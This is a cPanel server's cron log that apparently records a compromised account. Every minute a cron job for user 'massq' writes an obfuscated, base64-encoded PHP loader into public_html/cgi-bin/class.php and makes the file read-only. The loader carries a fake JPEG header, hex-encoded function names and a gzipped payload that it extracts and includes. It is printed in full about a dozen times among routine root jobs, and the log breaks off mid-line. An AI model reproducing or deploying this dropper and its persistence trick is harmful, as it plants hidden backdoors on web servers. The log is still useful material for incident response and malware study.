Nov  9 20:36:01 server CROND[17486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:37:01 server CROND[18324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:38:01 server CROND[19157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:39:01 server CROND[19975]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:39:01 server CROND[19974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:40:01 server CROND[20802]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:40:01 server CROND[20804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 20:40:01 server CROND[20805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:40:01 server CROND[20806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:41:01 server CROND[21773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:42:01 server CROND[22595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:42:01 server CROND[22596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:43:01 server CROND[23418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:44:01 server CROND[23914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:45:02 server CROND[24428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:45:02 server CROND[24429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:45:02 server CROND[24430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:46:01 server CROND[25072]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:47:01 server CROND[25818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:48:01 server CROND[26277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:49:01 server CROND[27085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 